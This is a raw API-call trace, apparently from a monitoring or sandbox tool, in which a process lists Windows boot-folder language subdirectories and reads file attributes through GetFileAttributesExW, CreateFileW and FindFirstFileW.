	[0086.404] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\memtest.exe" (normalized: "c:\\windows\\boot\\pcat\\memtest.exe"), fInfoLevelId=0x0, lpFileInformation=0x12799d68 | out: lpFileInformation=0x12799d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc7dbfe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc7dbfe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980)) returned 1
	[0086.405] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\nb-NO" (normalized: "c:\\windows\\boot\\pcat\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x12799db8 | out: lpFileInformation=0x12799db8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.405] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\nb-NO" (normalized: "c:\\windows\\boot\\pcat\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.405] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\nb-NO\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.405] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.405] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799e58 | out: lpFileInformation=0x12799e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b460d0, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc677913e, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1
	[0086.406] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\nl-NL" (normalized: "c:\\windows\\boot\\pcat\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x12799ea8 | out: lpFileInformation=0x12799ea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.406] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\nl-NL" (normalized: "c:\\windows\\boot\\pcat\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.406] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\nl-NL\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.406] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.406] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12799f48 | out: lpFileInformation=0x12799f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ee5c95, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc9b8b120, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0086.406] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pl-PL" (normalized: "c:\\windows\\boot\\pcat\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x12799f98 | out: lpFileInformation=0x12799f98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.407] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\pl-PL" (normalized: "c:\\windows\\boot\\pcat\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.407] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pl-PL\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.407] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12692058 | out: lpFileInformation=0x12692058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74909e6, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc8051637, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0086.407] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pt-BR" (normalized: "c:\\windows\\boot\\pcat\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x126920a8 | out: lpFileInformation=0x126920a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.409] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\pt-BR" (normalized: "c:\\windows\\boot\\pcat\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.409] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pt-BR\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.409] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.409] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12692148 | out: lpFileInformation=0x12692148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7659a5a, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc828cac8, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1
	[0086.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pt-PT" (normalized: "c:\\windows\\boot\\pcat\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x12692198 | out: lpFileInformation=0x12692198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.410] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\pt-PT" (normalized: "c:\\windows\\boot\\pcat\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.410] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pt-PT\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.410] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12692238 | out: lpFileInformation=0x12692238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5578b57, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc61f7e83, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1
	[0086.411] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ru-RU" (normalized: "c:\\windows\\boot\\pcat\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x12692288 | out: lpFileInformation=0x12692288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2eef1e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2eef1e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2eef1e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.411] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\ru-RU" (normalized: "c:\\windows\\boot\\pcat\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.411] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ru-RU\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2eef1e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2eef1e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2eef1e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.411] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.411] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12692328 | out: lpFileInformation=0x12692328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bb84ed, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc685d978, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1
	[0086.411] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\sv-SE" (normalized: "c:\\windows\\boot\\pcat\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x12692378 | out: lpFileInformation=0x12692378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2eef1e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2eef1e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2eef1e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.411] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\sv-SE" (normalized: "c:\\windows\\boot\\pcat\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.412] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\sv-SE\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2eef1e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2eef1e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2eef1e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.412] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.412] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12692418 | out: lpFileInformation=0x12692418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52cb2a9, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc5e8befa, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1
	[0086.412] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\tr-TR" (normalized: "c:\\windows\\boot\\pcat\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x12692468 | out: lpFileInformation=0x12692468*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.413] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\tr-TR" (normalized: "c:\\windows\\boot\\pcat\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.413] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\tr-TR\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.413] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.413] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x12692508 | out: lpFileInformation=0x12692508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b34cbc, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc58002a6, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1
	[0086.413] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-CN" (normalized: "c:\\windows\\boot\\pcat\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x12692558 | out: lpFileInformation=0x12692558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.414] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\zh-CN" (normalized: "c:\\windows\\boot\\pcat\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.414] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-CN\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.414] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.414] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126925f8 | out: lpFileInformation=0x126925f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2cb53a9, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc3ca065e, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1
	[0086.415] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-HK" (normalized: "c:\\windows\\boot\\pcat\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0x12692648 | out: lpFileInformation=0x12692648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.415] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\zh-HK" (normalized: "c:\\windows\\boot\\pcat\\zh-hk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.415] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-HK\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.415] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.415] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126926e8 | out: lpFileInformation=0x126926e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74dcca4, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xc81ce3ed, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1
	[0086.415] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-TW" (normalized: "c:\\windows\\boot\\pcat\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x12692738 | out: lpFileInformation=0x12692738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.415] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\zh-TW" (normalized: "c:\\windows\\boot\\pcat\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.415] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-TW\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.415] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\windows\\boot\\pcat\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126927d8 | out: lpFileInformation=0x126927d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcadd79c5, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xcb9be775, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1
	[0086.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Branding" (normalized: "c:\\windows\\branding"), fInfoLevelId=0x0, lpFileInformation=0x12692828 | out: lpFileInformation=0x12692828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.416] CreateFileW (lpFileName="C:\\Windows\\Branding" (normalized: "c:\\windows\\branding"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.416] FindFirstFileW (in: lpFileName="C:\\Windows\\Branding\\*", lpFindFileData=0x127ef9e0 | out: lpFindFileData=0x127ef9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
